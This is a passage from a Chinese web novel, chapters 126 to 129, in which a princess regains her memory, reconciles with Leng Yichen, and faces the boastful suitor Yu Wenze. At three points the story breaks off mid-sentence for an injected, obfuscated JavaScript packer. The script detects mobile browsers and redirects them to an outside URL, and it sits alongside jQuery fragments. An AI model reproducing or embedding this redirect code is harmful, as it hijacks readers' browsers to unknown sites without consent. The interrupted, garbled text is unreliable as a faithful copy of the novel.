舒雁回忆了一下说道:“是,我家小姐与人发生冲突,曾吐了血。” 冷逸尘眼中闪过一丝错愕,问道:“和谁?在哪里?” 舒雁:“于文则于公子,在石城湖畔……” 于文则,听闻这个名字,冷逸尘与泽生对视一眼,这人不是他们出使梁国时的接引使么。 宋神农闭着眼睛继续说道:“之后又受重创,气滞于体、经脉阻塞,致使失忆,此后头痛愈甚、郁结于心,性情大变,是与不是?” 未想此人竟如此神通,舒雁暗叹一声“果然神医”,之后点点头:“正是如此。” “不过经此一难,经脉皆通,也算是因祸得福了,以后按我开的方子喝上一两个月,保管见效。” “神医……还有一事……”舒雁看着对面的三个男子欲言又止。 泽生与季萧意会,去了外间等候。 舒雁又看一眼剩下的男子,并无回避之意,隐约猜到此人身份,不便赶他出去,于是小声说道:“我家小姐的月事两三月才一次,神医可有调理之法?” 宋神农:“血淤气阻,行经不畅,待服了我的药,自然就会好起来。” “那以后可……还会有孕?”舒雁有些担忧的问,毕竟上次小产后,妇科圣手的意思都是要看缘分。 她担忧的是公主还年轻,无论是和这崇宁王再续前缘、还是另嫁他人,以后若无子女傍身,虽有公主权势,但也难免被夫家轻视。 “大可放心,只是姑娘此时的身体不宜有孕,此事还需告知你家姑爷,呵呵……可懂?”宋神农说完,漫不经心的瞟了一眼冷逸尘。 126. 明珠还复得 “是,是……”舒雁尴尬得面色微红。 宋神农收了药箱,冷逸尘引他到外间开药方,他问道:“这失忆可能恢复?” “这个倒是要看机缘了,姑娘这病症时间久了,不一定能全想起来,就是咱常人,也不一定记得所有的事……有些事啊,不能强求。” 听宋神农这样一说,冷逸尘反倒是松了口气,这便是有希望:“多谢神医,还烦请神医在这里多住些时日,待她康健后,再送神医离开。” “怎么?不相信我的医术?”宋神农边开方子边表示不满:“我可不是那江湖上的骗子,好歹也是名声在外,我不会砸自己招牌的。” 冷逸尘解释道:“我并不是这个意思……” 季萧已摸透这人的脾气,没有利益,此人是不会痛快地答应,于是上前说道:“刚才是在下无礼了,在此向神医道歉,听闻神医手中有批药材,在下正好在收药,不知能否看看神医手里的货?” 宋神农一下就来了兴趣,却担忧他是在强迫自己留下,于是便未言语。 季萧察觉他神色变化,知他已心动,便继续说道:“神医若有心买卖,请明日辰时到广济堂相见,只要药材好,价格好商量。” 宋神农一听他并无强迫之意,便欣然答应:“我手里的药,自然差不了,明日一定按时赴约。” 此时有两个侍端着两个盖着红布的托盘进来,里面总共是一封银子,此处刚刚收复,人心尚有慌张,并不信服官府的银票,只有这真金白银才是硬通货。 冷逸尘掀开红布,说道:“多谢神医,这些是诊金。” 宋神农只瞧了一眼,便继续写药方,写好之后交代:“此药方内有助眠之药,病人气血两亏,宜卧床休养,少思虑以养心气,寡色欲以养肾气,半月后将药方中最后两味去掉,可当平日里的温补之药。” 说罢从托盘上捡了两块银子,掂了掂揣进怀里:“君子爱财,取之有道,告辞。” 冷逸尘看了泽生一个眼,泽生立即说道:“我送神医,神医随我来。” 二人走后,季萧对冷逸尘行叩拜礼:“不想今日能在此见到殿下,殿下救公主之恩,在下来日定当报答。” 冷逸尘示意他起来,说道:“我亦是为了我自己,我与公主之事,想来你是知道的。” “在下知道,只是公主已非从前之人,还望殿下知晓其中的利害。”季萧说完,悄悄看了一眼冷逸尘。 冷逸尘自是能听懂其中的意思,他只问道:“我给你朝陛下的信,可送走了?” “殿下放心,信件必达。”季萧说完,拱手为礼:“公主体弱,需暂借此处休养,绣衣使会近身服侍,还请殿下管好府上之人。” 这话里的意思,哪里是让冷逸尘看管好府上之人,分明是让他看管好他自己,但季萧此言此举,亦是担忧他家公主之安危,有如此忠心的侍卫,冷逸尘不好辩驳什么,只说了一声:“好。” “公主能起身之前,在下会将神医留住,告辞。”季萧说完,行礼告退,转身时看了一眼里屋,有绣衣使在,应不会出什么差池。 冷逸尘走进里间,只见暖暖已靠在床头,拉着舒雁的手,他不知她情况如何,不敢上前去。 此时泽生回来覆命,进来见公主醒来,控住不内心的激动,上前去跪下,言语间竟带着些许哭腔:“公主,您醒了,公主……” 暖暖看向他,言语间有些迟钝:“泽生?任泽生?” “是,是属下呀,公主。”泽生膝行上前,若不是有礼法,他此刻真想拉着公主的衣袖大哭一场。 在他心里公主与殿下是一样的人,纯洁而善良,虽然公主笨一些,暗器、功夫学得一塌糊涂,但她却是个合格的弟子,从不喊苦也不喊累。 尤其是平定何敞之乱后,他在宫中生活的那段时日,所接触到的侍女宫婢,小女子之间全是些争风吃醋、勾心斗角之事,让他愈发想念公主。 冷逸尘听暖暖叫出了“泽生”的名字,便知她已记起了从前,但是他还是不确定她记不记得他。 他犹豫着走上前,在离床三步的地方站定,试探着叫了一声:“叶岚?” 暖暖听见这熟悉的声音,便觉心中一颤,她似乎等这声音等了很久,抬头看向发声之人,这张面孔,她思之所切又恨之入骨,多少次她下定决心要舍弃他,可每次都不能成功,她要拿他怎么办? 眼泪一点点蓄满了她的眼眶。 泽生见此情此景,便示意舒雁一起出去,舒雁跪的时间长了,腿部麻木,直起身来却又坐了回去,泽生顾不得许多上前将她抱起,出门去了。 冷逸尘依旧不敢上前,内心紧张到了读不懂她的表情的地步,他依旧不能确定她现在是谁。 暖暖看着他,睫毛一动,一串泪水掉下,哑着嗓子叫了一声:“冷逸尘……” 熟悉的语调!她是叶岚!是她回来了,她终于回来了! 冷逸尘快步上前拥抱住了她,泪流不止,颤抖着回应道:“是我,叶岚,是我,对不起,我来晚了。” 暖暖伏在他怀中痛哭起来,之后便欲挣脱他,拳头一下一下落在他身上:“你说让我等你,为什么让我等了这么久……为什么不给我消息?你可知我每天有多担心?有多煎熬?我不知道要等到什么时候,不知道你会出什么事……” 这些话憋在她心里许久了,从重峪关战场下来她就想问问他,可阴差阳错,直至今日才说了出来。 此时,她也并不想要得到一个回答,只是这些委屈一定要向他说一说。 冷逸尘并不松手,紧紧地将她揽入怀中,他亏欠她的太多,任由她的拳头砸向自己,深深地自责让他感到撕心裂肺的疼痛,只低声叫着:“叶岚、叶岚……” 终于,暖暖没有了力气,怨怼发泄出去后便是思念,她依偎在他怀中,泪水将衣服浸湿了大一片。 她抬起头,泪眼朦胧地说道:“让我看看你……” 冷逸尘将她从怀中扶起身来,强挤出一个笑容给她看,喃喃地说道:“对不起,我不该让你一个人去燕北,我不该将你丢在战场上……” 暖暖捂住他的嘴:“别笑了,真难看……我曾经怨过你、恨过你,想彻底地将你舍弃,可是却放不下你……以前的事,也有我的问题,我只顾自己过得随心,没有考虑过你的处境和安危,是我没能站在你身旁,和你一起面对……” 冷逸尘握住她的手,亲吻着:“是我没保护好你……以前的事都过去了,我们可不可以……从头再来。” 暖暖点点头。 冷逸尘心中终于安定起来,重新将她揽入怀中,擦掉她脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710875|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的泪水:“我以后一定不会再让你流泪……刚才郎中来给你诊过脉,说你要少思虑养心气。” 暖暖点点头,揽住冷逸尘的腰身,脸埋在他的怀中,不愿松开。 冷逸尘抚着她的后背,整理着她耳边的碎发,轻柔地说道:“劳累了这半日,我去吩咐些膳食?” “不要,我不要你走。”暖暖胳膊用了些力气,娇声软语地命令他。 她闭上眼睛,深吸一口气,身体竟有一种畅通之感,她尝试着一点点回忆之前的事,竟然记起来很多。 她缓缓说道:“我想我的头疾应该是好了,记起了很多事情,四哥、三哥和姐姐知道的话,一定很高兴,这一年来,我真是让大家费了不少心力……只是四哥哥可恶,命所有人都瞒着我,真是煞费苦心。” “师兄他是为你好,他不愿见你痛苦,你这头疾是受不得刺激的。” “你们真是好兄弟,在战场上都兵戎相见了,还能为彼此开脱。我那时候恨你恨到绝望,他也是这般为你解释的。” 冷逸尘心中动容,将她揽得更紧些:“我们是师兄弟,这份情谊永远不会断……刚才郎中诊脉说,失忆是因为气血淤滞致使经脉不通,如今脉络通畅,记忆会一点点找回来。只是头痛是月子里留下的病症,需慢慢调理。” 月子……孩子…… 想起那个失去的孩子,暖暖哽咽道:“你知道了?我们的孩子没了,是我没有保护好他……” 自从孩子没了以后,她自认没有任何留恋与惋惜,周围人也因她身份的变化而刻意回避这件事,所以之后这件事无人提及,就仿佛这个孩子从来没有过一样。 但毕竟冷逸尘是孩子的父亲,总要对他有个交代,说起这件事的时候,她觉得心痛到窒息。 胸口一阵刺痛,她紧紧用手捂住,大约是太痛了,所以之前她当时有意选择了回避。 “是我没有保护好你们……是我那是忽略了你,竟没有察觉到你已有身孕,还责备你任性,师兄告诉我这件事时,我恨不得杀了我自己……”冷逸尘紧紧扣住她,似乎要将她融进自己的身体里一般。 “咱们在一起几年,你从未提起过孩子,可是你不喜欢?”暖暖问出当年的疑惑。 “不是,你还记得母后给你喝过的药吗?那凉药对你的身体有伤害,所以我不敢想孩子的事,只希望你能平安。这件事,我要替她向你说一声道歉,她当年为了权势,伤害了很多人,以至酿成大祸。” “权势”这两个字在暖暖脑中不断重复,都是为了这两个字,冷逸尘的母后如此,当年的荣贵妃亦是如此。 “她……怎样了?”暖暖不愿再称呼一声“母后”。 “何敞叛乱中她被人所害……这也算是她的因果。” 冷逸尘提起他的母后,虽然知道她做的事情大错特错,可心中依然恨不起来,“报应”这两个字他说不出口,只用“因果”二字替代。 他只觉怀中之人身子微微下沉,知她是倦怠,便说道:“是我说多了……躺下休息会可好?” 暖暖摇摇头,但眼皮却有些发沉,大有想在他怀中睡去之意。 “睡吧,我不走。”冷逸尘换了个姿势,让她躺得舒服一些。 暖暖安心睡去,气息逐渐平稳,却听外面传来一阵争吵之声。 127. 胡言无边际 于文则被绣衣卫丢在了庄子外面,一路上他被颠得七荤八素,嘴巴因下颌脱臼而闭不上,口水流了一下巴,还好幸运地在门口遇见了军医。 军医稍稍一托,便将他下颌复了位,之后又在他头部自上到下缠一圈布条来固定。 于文则一时说不出话来,对军医作了好几个揖表示感谢。 众人都忙着公主之病,无人能顾及他,门口的侍卫也不认得他,将他拒之门外。 他只能坐在大门口等待,揉着两腮来缓解不适,直至冰绡归来,才一路随她进来。 冰绡要去看公主,并不希望他跟着,便将他拦在了公主住的院子之外。 他见季萧从屋内出来,十分不平,质问冰绡:“他一个侍卫都可以进去,我为什么不能?” 但他说话含糊不清,一张嘴便有口水流下,冰绡觉得恶心至极,便一拳将他打晕在地,之后示意绣衣使将他扔出去。 泽生送走宋神农回来,正见这一幕,虽不知他们之间有什么恩怨,但于文则若在这里出了事,只怕会引起不必要的风波。 他赶紧命人人将于文则抬去客房,吩咐好生招待。 但这举动便是从绣衣卫手中抢人,冰绡看向对面之人,心中暗惊,但面上不动神色,冷笑道:“竟然是你!” 随即她又命令绣衣使:“还不快将人扔出去。” 泽生也来了劲头,吩咐侍卫:“还愣着做什么?将人抬去客房。” 之后他也看向对面的女女,二人眼神交锋,犹如利剑出鞘,寒光令周围人不自觉地后退半步。 冰绡先行出手,上去就是一拳,泽生避过,反手一掌,冰绡闪身,泽生左拳毫不犹豫地自腰间旋出,打在对方前胸,冰绡后退两步,一股腥甜自喉中涌出,但被她生生咽了回去。 屋内冷逸尘安顿好熟睡的暖暖,开门出来,见泽生与冰绡斗得正酣。 冷逸尘见此情景不由得皱了眉,立即喝止:“泽生住手!” 他思量着泽生如今是一郡都尉,怎可如此浮躁,当着众多侍从动起手来,再者绣衣使算是客人,岂有如此待客之理。 泽生立即住手,冰绡一掌未收住,打到了他的肩上,他一个趔趄,但也站稳了身形。 为决胜负,冰绡并不甘心,但此刻也不是时候,冷哼一声,进屋去看公主。 冷逸尘走到于文则身边,只见他头上缠着布条,胸前有些发湿,样子十分滑稽。 看着于文则这狼狈的模样,他心有不忍,记起于文则作为接引使,与他初见之时,也是意气风发之人,举止言行间透着一股江湖侠义之气,不像是历经朝堂之人,故而对他并不反感。而后于文则帮他给叶皓传信一事,他亦对他有所感激。 于是他立即命侍卫将他带下去,请军医诊治,众侍卫抬着人退下,绣衣使也纷纷选好位置将院子围了起来。 但随即他又想到叶岚曾几次提起此人,此人也一口一个“妹妹”叫得亲切,想必是二人早已相识,亦或是青梅竹马也未可知也。 想到此处,他的面色变得有些阴沉。 泽生疑心是殿下对自己的举动发怒,于是到冷逸尘跟前跪下请罪:“殿下息怒,属下知错。” “起来!你现在是一郡统帅,以后不可如此鲁莽,不可再自称属下。”冷逸尘的声音低沉:“这个于文则,不要让他靠近这个院子。” “是……末将遵命。”泽生起身行拱手礼,有些摸不到头脑,这关于公子什么事? 待他想问个清楚时,冷逸尘却走出里院子。 泽生追上去询问:“公主如何了?” “已经醒了,身体十分虚弱。” “公主吉人自有天相,我已命人去采买补品,公主一定会好起来的。”泽生言语间透着兴奋。 当冷逸尘正亲自带人安排完侍女、膳食时,庄子外却来了两辆大车,上面装满了日常所需,从钗环首饰到床单被褥,从洗漱用品到换洗衣衫,一应俱全。 绣衣卫将这些东西搬入公主住的院子,又加强了院内各处门口的防守。 冷逸尘将煎好的药端去给暖暖时,绣衣卫说什么也不让进。 但碍于他才是这里的主人,冰绡还是出来回话:“多谢将军了,公主所服之药皆是季萧亲自安排,已准备了十日药量,喝完自会有绣衣使送来,公主此时正在沐浴,劳烦将军先回去。” 正当冷逸尘想说什么的时候,于文则的声音在她们身后响起:“殿下……” 二人看向他,只见他已沐浴更衣,手持折扇,一副风流倜傥的样子,刚才的狼狈之相全然不见。 他见冷逸尘被拦在门外,有些得意地说道:“殿下既然帮了我,我自然也会帮殿下,这药,我替殿下送进去。” 他说完,接过侍从手里的食盒,抬腿欲向前走,不料冰绡直接将剑鞘搭在了他的脖子上。 “于公子,识相的话,就不要再靠近公主,我会尽快告诉季萧,派人送公子还乡。” “你敢,我来此可是公干。”于文则梗着脖子叫嚣道。 “我有什么不敢的!”冰绡反手用剑柄将他一戳,他向后摔倒在地,食盒掉落,药碗尽碎,蜜饯也散落一地。 于文则骂道:“你……你一个侍卫居然敢对本公子下如此此毒手,真是反了,看公主知道了怎么罚你!” “如何?不服就比试比试。”冰绡抱臂,轻蔑地看了他一眼。 于文则借冷逸尘的力站起身来,拍了一下长衫上的尘土,冷哼一声:“好男不跟女斗。” 冷逸尘见此时进去只怕不妥,便拉上于文则回去对弈几局。 书房内窗明几净,一壶茉莉清茶徐徐冒着热气,整个书中都萦绕着茉莉香。 于文则啜了一口茶,赞叹了几声“好茶”,之后落了一颗黑子。 冷逸尘轻笑一声:“于公子,你我也算旧交,就不必如此虚言了吧,梁京中什么好茶没有?反倒不如我这偏僻之地的茶了?” 于文则摇摇头:“非也、非也,殿下有所不知,我被我朝陛下派遣至益州郡半年之久,已经很久没回京了。” “对了,你方才说来此公干,所为何在事?又为何会被土匪劫去?” “唉!吓唬那小妮子而已,我本就是闲差,益州事务毕,也无其它差事,听闻青妹妹来此疗疾,便过来寻她。这不刚到这里,便被土匪盯上,大约是见我识文断字, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721031|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说要劫我上山当军师。” “你是如何认识公主的?”冷逸尘落下一子,试探着问道。 “我与妹妹也算是不打不相识,陛下将她带回时,我曾疑心过她的身世,便与她在石城湖畔比试过一番,公主的长右山剑术真是了得。”于文则说着,露出一副赞叹的表情,却未见对面之人神色有变。 他自顾自地说下去:“成王殿下也有意撮合我二人,现在想来真是缘分啊……不瞒殿下,在下是崇阳宗外门弟子,这江湖之人相见,自然要亲切一些。” 冷逸尘抓了一把棋子在手中,紧紧握住拳头,棋子与棋子之间摩擦,吱吱作响。 于文则见他这般,调侃道:“怎么?莫非殿下对公主有意?不过这可不行!” 冷逸尘抬眸看来他一眼,问道:“为何?” 于文则放下茶杯摆了摆手:“殿下曾与我朝昭阳公主成婚,按年岁来算,殿下该称呼在下一声舅哥,而青妹妹也该称呼殿下一声堂姐夫,这姐夫与小姨,虽说无有不妥,但平阳公主身份尊贵,是我朝中之宝,陛下定不会让公主嫁人做继室,还有昭阳公主的例子在前,我朝也不会令公主远嫁。” 此番分析倒是实情,冷逸尘放下棋子,端起茶杯啜了一口,来掩饰内心的波动。 他对暖暖说过,要做回凌长风,看来是时候开始他的计划了。 于文则也看出他在掩饰,细想刚才所言,提及昭阳公主之事,确实是在揭人伤疤,十分的不妥,于是找补道:“殿下恕罪,是在下失言,殿下对昭阳公主一片痴心,世人不知,但在下是看在眼里,可奈何情深不寿,公主仙逝已久,殿下也该放下了。” 冷逸尘反问道:“你怎么看得出我未放下?” “若放得下,殿下为何不早日续娶,想必祁囯世家贵女比比皆是,而殿下却对这堂小姨另眼相待。”之后于文则身体前倾,压低了声音:“在下曾听闻公主与昭阳公主,面容上有几分相似,莫不是殿下思念故人,想以代而代之?” 听他越说越不着边际,冷逸尘反而放心下来,觉得有些可笑,想必此人平日里没少看话本子。 于是就顺着他说下去:“舅哥真是看得通透,但为了咱们的缘分能继续,我自会向你朝求取平阳公主。” 于文则一笑,端起茶杯慢慢饮了一口,缓缓说道:“咱们自有咱们的缘分,不必牵扯到公主……只是殿下晚了一步,在下已将庚帖呈了上去,朝中已知在下尚公主的意愿。” 冷逸尘心中一颤,面上波澜不惊:“那可有回复?” 于文则又落一子:“尚未,这可是为公主选驸马,朝中得好好商议一番,哪里就这么快能定下来?” “那舅哥又怎会有如此把握?” “这事,我还真有把握。其一,我有成王殿下支持,成王殿下在我朝是一等一的要臣,他的建议陛下会考虑;其二,我朝驸马不得为官参政,所以想尚公主之人并无几个;这其三嘛,我与公主两情相悦,公主她心中是有我的……”于文则说完,得意一笑。 “两情相悦”,这几个字令冷逸尘头脑嗡的一声,拿着棋子的手一抖,竟忘记了要将棋子落在哪里,便收起棋子扔回了棋子罐里。 128. 风露立中宵 于文则仍沉浸于自己编织的美梦之中,上次他虽唐突了公主,但却觉得公主只是难为情。 毕竟是公主,私相授受有违礼法,但公主也是女子,总是心软的,哄哄便好了,是只是那侍卫太多事。 他想只要自己诚心道歉,公主必然会原谅他。 而且在这位崇宁王面前,自己也不能丢了面子。 他见冷逸尘起身,便阻拦道:“殿下要走吗?这棋局还未完呢!” “时辰不早了,我还有军务要处理,失陪。” 冷逸尘面上镇定,但心中已乱,叶岚的记忆倒是找回来了,但现在她是不是记起了以前,忘却了现在? 她对于文则是什么样的感情?为何她几次提到他?又为何她只看了一眼,就能确定破布堆下是于文则? 她的人回来了,但是,她的心回来了吗? 夕阳的光线刺在他的眼里时,他才发觉自己已走在去暖暖居所的路上,他驻足向西望去,看着光线一点点变弱,暮合之处一片昏黄。 他要去做什么?是要去问问她吗?可是要怎么问?若她的回答是肯定的,那要怎么办? 她才刚刚好起来,不能再受刺激了,于是他脚步折返回去,却见泽生带人向这边走来。 “殿下怎么不进去?”泽生迎上来,见他神色有些恍惚,又问道:“殿下怎么了?脸色这般差。” 冷逸尘未回答,反问道:“你去做什么?” “我去……给公主送膳食。”泽生说完,手手藏在身后,紧紧握住手中的药瓶。 “去吧。”冷逸尘转身往回走。 “要不,还是殿下去吧……”泽生想想自己这举动,似有不妥。 冷逸尘看着院子的方向,说道:“我……有些累了,先去休息了。” 泽生看着殿下离去的背影,有些不解,此前公主离去,他就是这般状态,如今公主回来了,他还是这般状态。 到底是因为何事?他十分不解。 泽生到了公主的院子,因公主有过吩咐,所以此次冰绡并未阻拦。 虽然她并不希望这些人靠近公主,但也只能奉命行事。 但泽生人虽进来了,可食盒却未进来,绣衣使只说:“院内自为公主准备膳食。” 此时暖暖沐浴梳洗过,换上了绣衣使送来到衣衫,衣服是普通绸料,衣袖和领口的纹样绣工平常,想必这也是绣衣卫能买到的最好的了。 她看着衣服上的绣纹,想起师英玉来,已经很长时间没见到她了,也不知她婚后过得如何?依她的性子,想必不会受欺负。 正想着,忽而听见外面泽生的声音:“舒雁姑娘可在?” “不在,你有什么事?”冰绡声音冷冰冰的。 舒雁正在为公主梳头,听见这声音手中一顿,梳子掉在地上,她忙向公主请罪。 “无妨。”暖暖正想着师英玉的事,并未察觉舒雁的紧张。 她忽而想起师英玉与泽生的那段情,之前在洛水河畔,她也曾向泽生许诺,要替他去寻那块帕子的主人,人是找到了,但那段情也消散了。 此事也许该给泽生一个交代,她对绣衣使说道:“让外面的人进来说话。” 舒雁听闻此言,为公主簪上一根发簪后,便要起身回避。 舒雁的腿伤还未好,暖暖本意是让她去休养,不要落下什么病根才好,只是舒雁担心公主身体,怕绣衣使服侍不周,便以公主需要梳妆为由,硬是要过来。 “发簪还没簪完呢,你走什么?”暖暖有些奇怪,平日里都是她传话送物,见外男时也未曾回避,怎么此番还需要回避了? 舒雁解释道:“奴婢这腿伤还未好,恐失了礼仪。” 暖暖知她这伤不宜走动,便说道:“不必出去,到屏风后坐着吧。” 舒雁刚走进屏风,泽生便进来行礼问安。 暖暖打量着泽生一袭白衣,颇有风采,想起来他就是临闾关的那个将军。 虽然升任了将军,可作风行事一点未变,可真是江山易改本性难移。 她笑道:“泽生,看着倒有大将军的风采了。” “公主真是羞煞属下了,属下这点本事哪里担得起将军的称谓。” “别站着了,坐吧。”暖暖说完示意绣衣使上茶。 “属下站着就好。”泽生对公主,依旧如当年做侍卫时一般恭敬。 暖暖抬手,示意绣衣使出去,之后说道:“说起来,你算是我的师傅,当年你教我用暗器,送我那根簪子,后来可是派上了大用场。” “属下不敢,是公主功夫高强。”泽生虽这样说,可心里却在想:对外可千万别说是我教的,丢人。 接着他转移话题:“殿下命我送来的人参乌鸡汤被拦在了门口,这可是殿下一片苦心。” “我一会儿命人留下,他……怎么不自己来?”暖暖又示意他坐下。 泽生这才坐下,想起冷逸尘那神色,似乎心中有事,他疑心二人又似从前一样,有什么矛盾也不说出来,只在心中黯然神伤,便为冷逸尘编了个由头:“殿下他有些军务要处理……” “这几日,劳累他了。”暖暖看出了泽生的心思,心中有些不忍,虽然她对这段日子的记忆有些模糊,但是她能感觉到冷逸尘对她小心翼翼的态度。 日子过得太波折,他要忙军务,又要顾及她,而且他的伤还未好。 泽生继续说道:“殿下他是很累……公主不在的这些年,殿下过得很辛苦,朝中之事纷扰杂乱,殿下咬牙硬撑着,以前殿下哪里受过这样的苦。殿下思念公主,拒绝了多少求亲,也因此得罪了不少人。去年与匈奴一战,殿下身先士卒,像是不要命了一般。后来我才知道殿下去梁京时,殿下师兄劝殿下放手。” “他去过梁京?我四哥,叶皓,劝他放手?”此事暖暖不知道一点儿,也或许,是她不记得了。 泽生点头:“是,想必那时殿是绝望了,如此拼命倒有些寻死的意思。大获全胜后,朝中忌惮殿下的势力,殿下便自请来临闾关驻守。殿下舍弃了京中的王府,将公主的东西全都带到了临闾关,甚至将卧房都安排在了山海居中。如此痴心,近乎执念,真是天下少有。” 听到这些,暖暖心中有心痛,她心疼起冷逸尘来,心中也有些自责。 当年,他一夜间家破人亡,孤身一人救朝堂于危难,而她却逼他离开,弃他而去。 这是多么自私的决定。 泽生看着公主神色黯淡,于是一扫阴霾,换上笑容说道:“不过现在公主回来了,殿下此后再也不会孤单了。” 暖暖想起刚才要说道话,便问道:“那你呢?那方手帕还在吗?” “什么手帕?”泽生有些不解。 暖暖提示他:“你负伤回燕北时,胸口有条帕子……” 没等她说完,泽生痛快地回答:“烧了。” “烧了?” 这样的回答,倒是令暖暖没有想到,她本来还准备了一套安慰他的说辞,未想他自己看开了。 “怎么?公主有什么要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那你记得咱们在来这里的路上救得谁吗?” “于文则!”暖暖突然想起此事来。 她有些紧张,冷而冰绡因她与于文则结了仇,曾扬言再遇见他便要一刀砍了他。 于是担忧地问道:“冰绡把他怎么了?” 冷逸尘见她如此担忧,心中一沉,但还是说道:“放心,他没事……只是当时捂得那样严实,你是怎么认出他的?” “我看到他腰间的荷包,是舒雁绣的。”之后暖暖便把于文则给她买酒,她还钱之事说给他听。 “如此说来,你们倒是挺有缘分……”冷逸尘说完,端起碗喝粥。 暖暖听着这话一股酸味,将头探向他:“怎么?吃醋了?” 冷逸尘嘴硬:“没有!” “你就是,这便是你的心事吧!于文则和你说什么了?”暖暖心中有些想笑。 “他说你们两情相悦。”虽说冷逸尘也不信他的话,可心中还是介意他这样说。 暖暖心中暗骂道:这个于文则,还真是不要脸! 她安慰冷逸尘:“他这个人就是这样,喜欢擅自揣测,说话无边际,你不要信他。” 这样的安慰反而让冷逸尘不安起来:“你……似乎很了解他。” 129. 无节弄是非 暖暖见他这醋吃得不是一点半点,佯装生气道:“怎么?我交朋友你也要管吗?” “不是……只是……”冷逸尘不知怎样开口。 “不是什么?只是什么?” “他说……你们两情相悦。” 暖暖噗嗤一笑:“这话也就你信,你跟他接触过就知道他有多讨厌了。” “我只怕你对他动心。”冷逸尘放下碗,手握成拳头,指节微微有些颤抖。 暖暖握住他的手,说道:“冷逸尘,我虽然忘记了你,可你相信吗?我在梦中见过你,梦中你依然让我心动。” “这也许就是我再次见到你,虽不认识你,却在短短几日内决定与你定下终身的原因。那时我还为自己的见色起意感到羞愧,现在才知道,是我的心根本就没有忘记你。” 她指着自己的心口之处:“你在这里,别人再也进不去。” 冷逸尘缓缓抬起头来,眼底微微泛红,反手握住她的手,将她拉入怀中:“是我错了,不该疑你……可我是真的害怕。” 暖暖伸手勾过他的脖子,正要吻上去,却听见敲门声起,她赶紧坐正身子,摸了摸微红的脸颊。 是绣衣使端药进来,她看着窗外的暖阳,并不想喝,这药喝完便又要困倦,这么好的天气,应该出去走走。 “我不想喝药,想出去走走……” “好。”冷逸尘接过药放到桌上:“庄子后面有个小池塘,去那里可好?” 暖暖点点头。 “我去安排,一会儿来接你。” 暖暖又是点头。 不多时,冷逸尘回来,暖暖换了一身鲜艳的衣衫,画了姣好的面妆, 她的端庄秀雅的让冷逸尘眼前一亮,心甚悦之。 暖暖未命人跟随,与冷逸尘独自来到了庄子后。 庄子后面连着一处山水,水边亭台水榭一应俱全,临水的亭子中已摆放好茶水点心及渔具。 如此天朗气清,在这里钓鱼倒是别有一番意趣。 暖暖挂好鱼饵,轻轻用力一甩将鱼钩甩入水中,之后开始了漫长的等待。 微风轻拂,带来几片海棠花瓣,她拈着花瓣,问道:“都这个时节了,怎么海棠花还开着?” 冷逸尘接过花瓣:“越往北走越冷,花期也要晚一些。” “临闾关的花很多,山上、城中到处都是。” “是我命人种下的,我就想着你什么时候能回来,看到这满山的春花,知道是我在想你。” 暖暖心头一颤,这些花都是为她而开。 她笑道:“怪不得冰绡说那树干细弱,像是新植下的。” 冷逸尘看向她,眉眼间光华流转,温柔无限。 “所幸,我没等很久,所幸,你已经看到。” 他将头探了过来,暖暖羞涩躲开,四下里看了看。 冷逸尘笑着转头,看向鱼竿,此时河面上的羽毛顿了几下,之后迅速下沉,他抬竿,果然是一条大鱼。 鱼挣扎得厉害,冷逸尘紧紧握住鱼竿,将鱼线一点点收回,用网子将鱼捞上来,放于桶中。 “这条鱼真不小。”暖暖赞叹着,用手戳了戳鱼头,鱼身使劲一弹,水花溅了她一脸,她笑着惊呼一声。 冷逸尘赶紧用帕子为她擦拭干净:“是条草鱼,一会送去厨房做成鱼片煮着吃,可好?” 帕子上淡淡的茉莉香沁人心脾,暖暖用它多擦了几下鼻子,之后笑着答应。 一个侍卫过来,之后在冷逸尘耳边耳语了几句。 冷逸尘点头,俯身对暖暖低声说道:“我去去就来,等我回来。”说完在她额头上一吻。 二人对视一笑。 冷逸尘拎着鱼离开,暖暖摸着额头,感受着那一刻嘴唇的柔软与温暖,嘴角微微上扬。 她看着水面波光粼粼,岸上郁郁葱葱,真是一片世外桃源,若是能和他一直这样生活下去,该有多好。 忽而这一句“公主,好兴致!”,打破了水面上静静的日光。 这声音令暖暖心中一惊,看向来人,之后白了那人一眼:“于公子,你小些声音,鱼都被吓跑了。” 于文则用扇子遮着阳光,环视周围,笑道:“公主真是好骗,这样的水域,哪里会有鱼。” “有没有鱼,你怎么知道。” “在下行走江湖多年,也算见多识广,这湾水清浅无草,怎会有鱼,那将军哪里是在钓鱼,分明是在钓公主。” 于文则说完,整理了一下衣衫,坐到了冷逸尘刚才的位置上:“公主可知此将军为何人?” 此人还真是不谦虚,暖暖看着他一脸神秘的样子,想看看他要作什么妖,于是故作不知。 于文则微微惊讶:“公主真是胆大,都不知此人是谁,竟然敢与他孤男寡女独处一处。” 暖暖撇撇嘴:“这罪名太大,我可担不起,青天白日,外面又有侍从护卫,怎么就孤男寡女了?怎么就独处一处了?” 